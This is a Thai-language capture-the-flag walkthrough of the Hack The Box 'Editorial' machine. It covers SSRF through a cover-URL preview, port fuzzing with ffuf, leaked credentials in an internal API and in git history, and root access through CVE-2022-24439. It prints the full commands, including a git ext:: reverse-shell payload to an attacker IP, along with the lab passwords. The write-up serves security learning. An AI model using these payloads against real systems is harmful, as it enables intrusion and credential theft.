September 29, 2026
SSRF & Git ext:: [HTB Editorial Walkthrough]
TL;DR — Editorial [HTB] Walkthrough Steps

By Pawut Jingjit
8 min read
TL;DR — Editorial [HTB] Walkthrough Steps
nmap -sC -sV -T4 --top-ports 1000 10.129.41.92 -vvพบport 80เป็นnginx 1.18.0ที่ redirect ไป http://editorial.htb- เพิ่ม
10.129.41.92 editorial.htbลง/etc/hostsเพื่อให้ resolve.htbhostname เองโดยไม่พึ่ง DNS จริง - หน้า
Publish with usมีช่อง Cover URL + ปุ่มPreviewเดาว่า backendfetchเอง มีความเสี่ยงจะSSRFได้ nc -lvnp 5555แล้วใส่http://10.10.15.169:5555ใน Cover URL target connect กลับมา ยืนยันSSRFจริง- สังเกตจาก Burp ว่า request ที่ fetch ไม่สำเร็จจะ return
Content-Length: 61เสมอ ใช้เป็น baseline สำหรับ filter ffuf -request request.txt -request-proto http -w ports.txt -mc all -fs 61fuzz ยิง127.0.0.1:FUZZผ่านSSRF- ยิง
http://127.0.0.1:5000ผ่านSSRFได้api-specกลับมา - fetch
/api/latest/metadata/messages/authorsเจอdevcreds ใน welcome message ssh dev@10.129.41.92ใช้ creds เดียวกับ Backend access ได้groups/id/sudo -lไม่มีสิทธิพิเศษ แต่เจอ.gitซ่อนอยู่ในโฟลเดอร์ appsgit log --all --onelineเจอ commitb7348ab"downgrading prod to dev"git show b7348abเจอprodcredsssh prod@10.129.41.92(080217_Producti0n_2023!@)sudo -lพบว่ารันclone_prod_change.pyด้วยสิทธิของrootได้cat clone_prod_change.pyพบรับsys.argv[1]มาใช้ต่อโดยไม่ validate +protocol.ext.allow=alwayssudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::bash -c bash% -i% >&% /dev/tcp/10.10.15.169/4444% 0>&1'ได้ root reverse shell กลับมา
Editorialis an easy difficulty Linux machine that features a publishing web application vulnerable toServer-Side Request Forgery (SSRF). This vulnerability is leveraged to gain access to an internal running API, which is then leveraged to obtain credentials that lead toSSHaccess to the machine. Enumerating the system further reveals a Git repository that is leveraged to reveal credentials for a new user. Therootuser can be obtained by exploiting CVE-2022-24439 and the sudo configuration.
บทความนี้เขียนขึ้นมาเพื่อ "อธิบาย" ทุกขั้นตอน สำหรับการฝึกแก้โจทย์เครื่อง
Editorialบน Hack The Box — เครื่องเป้าหมายทั้งหมดเป็น lab ที่ถูกออกแบบมาให้ฝึกโจมตีได้อย่างถูกกฎหมาย ไม่ใช่การโจมตีระบบของบุคคลหรือองค์กรใดโดยไม่ได้รับอนุญาต
Reconnaissance & Enumeration
nmap -sC -sV -T4 --top-ports 1000 10.129.41.92 -vvnmap -sC -sV -T4 --top-ports 1000 10.129.41.92 -vv
- port 80 เป็น nginx 1.18.0
- ที่น่าสนใจคือ port 80 พยายาม redirect ไปยัง http://editorial.htb
- เมื่อลอง connect ไปยัง http://editorial.htb แน่นอนว่า ไม่สามารถ connect ได้ เนื่องจาก domain .htb เป็น domain ที่ไม่ได้จดทะเบียนใน DNS จริง
sudo nano /etc/hosts
10.129.41.92 editorial.htbsudo nano /etc/hosts
10.129.41.92 editorial.htb
- แก้ไขด้วยการเพิ่ม
10.129.41.92 editorial.htbลงในไฟล์/etc/hostsของเครื่อง attacker เพื่อให้เมื่อ resolve hostnameeditorial.htbระบบจะใช้ IP ที่ระบุไว้ทันที โดยไม่ต้องไปสอบถาม DNS server ภายนอก
Web Enumeration
- หน้าแรกของ Website ชื่อ Editorial Tiempo Arriba มีลักษณะเป็นแพลทฟอร์มตีพิมพ์หนังสือ — บทความ
- ซึ่ง Home เองไม่มีจุดที่น่าสนใจ
- หน้า Publish with us เป็นฟอร์มให้กรอกข้อมูลหนังสือเพื่อขอตีพิมพ์ ซึ่งมีจุดที่น่าสนใจเป็นพิเศษคือ มีจุดให้ใส่ URL ของรูปปก และปุ่ม Choose File ให้อัพโหลตเป็นทางเลือกคู่กัน และมีปุ่ม Preview เพื่อแสดงรูปปก
- โดยปกติแล้ว การมีช่องที่รับ URL โดยตรงพร้อมปุ่ม Preview เป็นไปได้ว่า มีการใช้คำสั่ง fetch ที่ฝั่ง Backend ซึ่งเป็นรูปแบบที่มักนำไปสู่ช่องโหว่ SSRF(Server-side request forgery) หากไม่มีการ validate ที่ปลายทาง
"In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources…"
Initial Access (Foothold)
nc -lvnp 5555nc -lvnp 5555
- เพื่อทดสอบว่า target มีช่องโหว่ SSRF จริงหรือไม่ จะทำการเปิด listener ไว้ที่เครื่อง attacker แล้วดูว่า target ยอม connect กลับมาหรือไม่ เมื่อเราระบุ IP ของ attacker ใน Cover URL
- กรอก http://10.10.15.169:5555 ซึ่งเป็น IP ของเครื่อง attacker ใน Cover URL แล้วจากนั้นกด Preview
- เครื่อง Target Connect กลับมา สามารถระบุได้ว่า Target มีช่องโหว่ SSRF ที่ Cover URL จริง
- แตกต่างจาก Command Injection ที่ผู้โจมตีสามารถรัน Command บน Target ได้โดยตรง SSRF คือช่องโหว่ที่สามารถ "หลอกให้" Backend ยิง request แทนเรา ซึ่งโดยทั่วไป Attacker จะควบคุมได้เพียง "ปลายทาง" เท่านั้น Method , params จะถูกกำหนดไว้ตาม Code ฝั่ง Backend
- ในกรณีนี้ CoverURL เป็น input ที่ "น่าจะ" ยิง get method ไปยัง URL ที่ระบุ แล้วนำรูปภาพมาแสดง
- จะเป็นไปได้ไหม ถ้าเราจะหลอกให้ Target ลองยิง request ไปหา service ตัวเอง ที่เราเข้าถึงไม่ได้จากภายนอก
- เมื่อลองดัก request ด้วย Burpsuit intercept มีจุดที่น่าสนใจคือ Content-Length จะมีค่าเป็น 61 และรูปภาพจะเป็น default เสมอ ถ้า Target สามารถยิง request หาเป้าหมายได้ แต่ไม่สามารถแสดงผลได้
- อย่างการยิง http://10.10.15.169:5555 ซึ่งเป็นเครื่องของ hacker ก็ได้ Content-Length เป็น 61 เช่นกัน
- เมื่อลองเปลี่ยนเป็น port 5554 ก็ยังเป็น Content-Length 61 จึงสามารถคาดการณ์ได้ว่า ถ้ายิงไปแล้วไม่มี request ตอบกลับ จะ Return เป็น Content-Length 61 เช่นกัน
- ที่น่าสนใจคือ การที่หลอกให้ Target ยิง request แทน อาจทำให้เรา "ค้นพบ" Service ที่ตอนเราใช้
nmapแล้วสแกนไม่เจอ - ซึ่งอาจจะเพราะอยู่ข้างหลัง
Firewall rulesหรือ bind ไว้เฉพาะ127.0.0.1:port - ในเบื้องต้น เจ้าของบทความจะลองหลอกให้ Target ให้ยิง request ไปยัง
127.0.0.1ในทุกๆ ports - ซึ่งแน่นอนว่า เราไม่สามารถที่จะลอง manual เองทุก ports ได้ เลยจะใช้ Tools ช่วยดู โดยบทความนี้ จะใช้
ffuf
#request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPW68K6ogyTrMc8Rq
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: close
------WebKitFormBoundaryPW68K6ogyTrMc8Rq
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryPW68K6ogyTrMc8Rq
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryPW68K6ogyTrMc8Rq--
seq 1 65535 > ports.txt
ffuf -request request.txt -request-proto http -w ports.txt -mc all -fs 61#request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPW68K6ogyTrMc8Rq
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: close
------WebKitFormBoundaryPW68K6ogyTrMc8Rq
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryPW68K6ogyTrMc8Rq
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryPW68K6ogyTrMc8Rq--
seq 1 65535 > ports.txt
ffuf -request request.txt -request-proto http -w ports.txt -mc all -fs 61- ขั้นตอนแรก นำผลลัพท์ที่ดักได้จาก Burpsuit intercept ไปเขียนลง
request.txtโดยเปลี่ยน Target URL เป็น127.0.0.1:FUZZ FUZZเป็น format ของffufที่จะ replace สิ่งที่เราต้องการจะfuzzseq 1 65535 > ports.txtสร้างตัวเลข 1, 2, 3, …,65535 แล้วนำผลลัพท์ไปเก็บในports.txtเพื่อนำไปใช้ในการfuzz-request request.txtบอกให้ffufให้ใช้ Request จากrequest.txt-request-proto httpกำหนดให้ใช้httpแทนhttps-w ports.txtword lists ใช้เป็น ports.txt ที่สร้างขึ้นจากseq 1 65535 > ports.txt-fs 61Filter กรอง Content Length ที่เท่ากับ 61 ออก เนื่องจาก เราทราบแล้วว่า default ของ Response คือ Content Length เท่ากับ 61-mc allไม่กรอง HTTP Code ใดๆ ออกเลย เนื่องจากเราสนใจที่ Content-Length ที่ไม่เท่ากับ 61 เท่านั้น
- พบว่า port
5000Status200และ Content Length ไม่เท่ากับ 61 - สังเกตว่า port
5000nmapเราเคยสแกนผ่านไปแล้วไม่พบอะไร - ลองใส่
[http://127.0.0.1:](http://10.10.15.169:5555)``5000ลงใน payload ดู - ถึงตอนนี้ เพื่อนๆ หลายคนอาจสงสัยว่า ทำไมฟังค์ชั่น Preview ภาพ ทำไมเราถึงคาดหวังให้มันแสดงข้อมูลอื่นที่ไม่ใช่ภาพออกมาได้
- ถ้าเพื่อนๆ ต้องเขียน Function สำหรับ Preview ภาพ เพื่อนๆ จะเขียนยังไง เพื่อนๆ อาจจะเขียนประมาณ
fetch(url)ซักอย่าง แล้วหวังว่าจะได้responseเป็นimage byteแล้วแสดงผลใน<img>เลย - ที่น่าสนใจคือ ถ้า
urlที่ fetch ไปไม่ใช่รูป แต่เป็นhtml,json, etc จะเป็นอย่างไร - ถ้า Server ไม่เช็คว่า สิ่งที่
fetchมา เป็น image แล้วนำมาแสดงตรงๆ ใน<img>เลย หมายความว่า เราสามารถ "หลอก" ให้ Target ยิง request แทนเราได้จริง
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
- พบว่าได้ response เป็นสิ่งที่น่าจะเป็น
api-specมา - เพื่อนๆ คงสงสัยว่าทำไมถึงได้
api-specจากการยิง port5000 - ต้องบอกว่า หลายๆ Backend Framework จะ
auto generateapi-specให้เอง เพื่อความสะดวกในการพัฒนา - ในการพัฒนาจริง เพื่อนๆ ควรจะปิด
api-specเมื่อขึ้น production แล้ว ต่อให้เพื่อนๆ มั่นใจว่า หน้าapi-specจะ bind ไว้เฉพาะ127.0.0.1ก็ตาม - ว่ากันตามตรง
api-specที่ได้มานั้น มีapiที่น่าสนใจ 2 เส้นคือ/api/latest/metadata/messages/authorsและchangelog - ถ้าเพื่อนๆ เคยลองเขียน Backend เพื่อนๆ น่าจะคิดว่า
welcome messageเพื่อนๆ ไม่น่าจะเขียนเป็นเส้นapiแยกเลย เส้นmessages/authorsจึงน่าสนใจขึ้นมา changelogน่าสนใจเช่นกัน เผื่อ "โชคดี" ที่ developer เผลอทิ้งข้อมูลสำคัญไว้ ใน version เก่า- เริ่มจากใช้ payload http://127.0.0.1:5000/api/latest/metadata/messages/authors ผ่าน
SSRF
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.
Best regards, Editorial Tiempo Arriba Team."
}{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.
Best regards, Editorial Tiempo Arriba Team."
}- ได้ข้อมูล username, password ของ Backend นี้ ใน Dev Environment มา
- ถ้าเพื่อนๆ เคยพัฒนา Service เพื่อนๆ จะแบ่ง Phase การพัฒนาเป็นอย่างน้อยที่สุดคือ 2 Phase คือ Develop, Production
- การที่เราได้ username, password ของ Dev Environment มา ถ้าโดยทั่วไป เพื่อนๆ อาจจะลอง
fuzzเพื่อหาlogin pathในหน้า Frontend แล้วหวังว่า User ที่ได้มาจะยังเข้าได้ใน Production แล้วได้ข้อมูลใหม่ๆ ได้ - แต่ต้อง
fuzzเพื่อหาหน้าlogin pathก่อน เจ้าของบทความจึงเลือกอีกทาง ที่สามารถทดสอบได้ทันที
ssh dev@10.129.41.92
dev080217_devAPI!@ssh dev@10.129.41.92
dev080217_devAPI!@- โดยการลอง
sshไปยัง10.129.41.92ด้วย user ที่ได้มา - ว่ากันตามตรง user ที่ได้มา desciption บอกชัดเจนว่า ใช้สำหรับ internal forum and authors site แต่เจ้าของบทความหวังว่า Developer จะใช้ username, password เดียวกันทั้ง Environment
- ซึ่งตามตรง ถ้าเพื่อนๆ เคยพัฒนา Application การใช้ username, password ต่างกันหมด ตั้งแต่ Environment, Frontend, Backend, DB, etc. เป็นเรื่องที่ยุ่งยากไม่น้อยเลย หลายคนเลยยอมใช้ user เดียวกันทั้งระบบตอนพัฒนา
- สามารถ
sshเข้ามาได้จริง โดยเราจะได้user flagมาเลย
Privilege Escalation (Dev -> Prod)
groupsเป็นคำสั่งที่ดูว่าdevอยู่ในgroupsอะไร ซึ่งเราหวังว่าจะได้ผลลัพท์เป็นกลุ่มพิเศษอย่างsudo- แต่ผลลัพท์ได้เป็น
devซึ่งเป็นกลุ่มของตัวเอง idใช้ใกล้เคียงกับgroupsแต่ได้idมาด้วยsudo -lดูว่าdevมีสิทธิรันคำสั่งไหนด้วยสิทธิsudoไหม ซึ่งผลลัพท์คือไม่มีสิทธิเลย
- เมื่อลองเข้าใน
dirappsแล้วลองใช้ls -alเพื่อแสดงfileที่ซ่อนอยู่ พบว่ามี.git .gitเป็นdirของ version control ที่จะ เก็บประวัติการเปลี่ยนแปลงของทั้งโปรเจกต์- บางครั้ง ผู้พัฒนาอาจเผลอ
Hardcodekey ,password ลงในโปรเจกต์ แล้วแก้ไขไปแล้ว แต่ประวัติที่เคยHardcodeไว้ จะยังอยู่ใน.git
git log --all --oneline
git show b7348abgit log --all --oneline
git show b7348abgit logแสดงประวัติการ commit--allแสดงcommitจากทุก branch--onelineย่อแต่ละ commit ให้เหลือบรรทัดเดียวb7348abdowngrading prod to devถือว่าน่าสนใจ เพราะ Developer อาจเผลอทิ้งcredentialในจังหวะที่downgradegit show b7348abแสดง commitb7348ab
- พบว่า มีการทิ้ง
credentialของprodไว้จริง - ถ้าเพื่อนๆสังเกต
template_mail_messageเป็นเส้นเดียวกับที่เราได้dev userมาเลย
ssh prod@10.129.41.92
080217_Producti0n_2023!@ssh prod@10.129.41.92
080217_Producti0n_2023!@- ในเมื่อเราใช้
dev userที่ได้จากtemplate_mail_messagessh devได้prod userที่ได้จากtemplate_mail_messageก็ควรจะssh prodได้เช่นกัน
Privilege Escalation (Prod -> Root)
- สามารถ
sshเข้ามาได้จริง - ลอง
sudo -lที่ใช้ไม่ได้ในdevจะพบว่า มีคำสั่งหนึ่ง ที่สามารถใช้ในสิทธิsudoได้ clone_prod_changeดูจากชื่อscriptน่าจะเป็นautomatedสำหรับใช้syncproduction code(อาจจะมาจากการ fetch จาก git etc.)
- เริ่มจาก
url_to_clone = sys.argv[1]มีการรับ external input - ตามมาตรฐานการเขียนโค้ดที่ปลอดภัย (secure coding practice) ค่าที่รับมาจาก external input และถูกส่งต่อ ควรจะผ่านการตรวจสอบ(validate)ก่อน
- แต่ยังยืนยันอะไรไม่ได้มากนัก ที่น่าสนใจกว่าคือ
protocol.ext.allow=always git commandมีหลาย protocolhttpssshgitที่เพื่อนๆ คุ้นเคยกันดีอย่างgit clone https://อันนี้ก็เป็นหนึ่งใน protocalhttpsprotocol.ext.allow=alwaysหมายความว่า เปิดรับ protocolext::ซึ่งโดยปกติเป็น protocol ที่gitปิดไว้โดย default เนื่องจากความเสี่ยงด้านความปลอดภัยext::คือ protocol ที่รับคำสั่งภายนอก(external command) เข้ามาทำงานได้- ไม่ validate input และรับคำสั่งภายนอกเข้ามาทำงานได้ มีโอกาสเป็นช่องโหว่ให้เราได้ exploit ได้ครับ
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::bash -i >& /dev/tcp/10.10.15.169/4444 0>&1'sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::bash -i >& /dev/tcp/10.10.15.169/4444 0>&1'sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.pyเป็นคำสั่งที่ โจทย์ได้ให้มา โดยรับ args 1 ตัว- เพื่อนๆคงคุ้นเคยคำสั่งที่เปิด shell ไว้รออย่าง
bash -i >& /dev/tcp/10.10.15.169/4444 0>&1ดี - ตามทฤษฏี การใช้
ext::bash -i >& /dev/tcp/10.10.15.169/4444 0>&1เป็น args ควรจะทำให้เรา exploit ผ่านแล้วแต่เมื่อลองจริง กลับไม่สำเร็จ
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::bash -c bash% -i% >&% /dev/tcp/10.10.15.169/4444% 0>&1'sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::bash -c bash% -i% >&% /dev/tcp/10.10.15.169/4444% 0>&1'- เพราะ
ext::จะตัด string ของเราตาม spacebar ไม่ได้ส่งbash -i >& /dev/tcp/10.10.15.169/4444 0>&1เป็นคำสั่งๆ เดียว - ใช้
bash -cเพื่อ "ห่อ"bash% -i% >&% /dev/tcp/10.10.15.169/4444% 0>&1ไว้เป็นคำสั่งเดียว ext::ไม่สนใจ " เราจึงใช้ % ซึ่งเป็น escape ของext::ไว้ข้างหน้าช่องว่าง (กล่าวสั้นๆว่า ใช้ '% 'แทนการใช้ ' ' )
CVE-2022–24439
All versions of package gitpython are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments.
- GitPython ทุกเวอร์ชันมีช่องโหว่ Remote Code Execution (RCE) อันเกิดจากการตรวจสอบ input จากผู้ใช้ที่ไม่รัดกุม ทำให้ผู้โจมตีสามารถ inject remote URL ที่ถูกสร้างมาเพื่อประสงค์ร้ายเข้าไปในคำสั่ง clone ได้
- ปัจจุบัน
patchไปแล้ว โดย blockext::ไปเลย โดยสำหรับคนที่ยังจำเป็นต้องใช้อยู่ ให้ใช้allow_unsafe_protocols=Trueแล้วรับความเสี่ยงเอง - ว่ากันตามตรง ข้อนี้เขาเฉลยมาตั้งแต่ Description แล้วว่าเป็น
CVE-2022–24439ถ้าหาexploit toolsตรงๆ อาจจะง่ายกว่า แต่เจ้าของบทความมีความเห็นว่า ในตอนทำ CTF จริงๆ เขามักไม่บอกชื่อช่องโหว่มา การลองอ่านโค๊ด และหาช่องโหว่เองก็สำคัญเช่นกันครับ
บทส่งท้าย
- รอบที่แล้วมาหมวดหนักๆอย่าง
pwnรอบนี้มาสบายๆ แบบwebบ้างครับ - รอบหน้าอยากจะเขียน Privilege Escalation จังเลยครับ รู้สึกว่าทุกข้อ หมวดไหน ก็ต้องมีขั้นตอนนี้ตอนจบเสมอเลยครับ
- ในฐานะที่ปกติเป็น Developer มา เจ้าของบทความรู้สึกว่า การได้จับ Cyber Security ทำให้เห็นภาพได้กว้างขึ้นเยอะเลย
- การใช้รหัสเดียวกันหมดทั้ง Environment หรือการทิ้ง Cred ไว้ใน
.gitเพื่อนๆ คงจะเห็นใช่ไหมครับ ว่าพฤติกรรมดังกล่าว ในจังหวะที่เหมาะสม สามารถเกิดเป็นช่องโหว่ที่ทำให้ระบบโดน compromise ได้เลยครับ (แน่นอนว่า เจ้าของบทความน่าจะเคยหลุดทั้ง 2 กรณี) - เช่นเดิม ก็ขอบคุณเพื่อนๆ ที่ตามอ่านบทความนี้จนจบนะครับ เจอกันบทความหน้าๆ นะครับ
Reference
https://app.hackthebox.com/machines/Editorial?tab=machine_info
https://man7.org/linux/man-pages/man1/git-remote-ext.1.html
[1] OWASP Foundation, "Server Side Request Forgery," https://owasp.org/www-community/attacks/Server_Side_Request_Forgery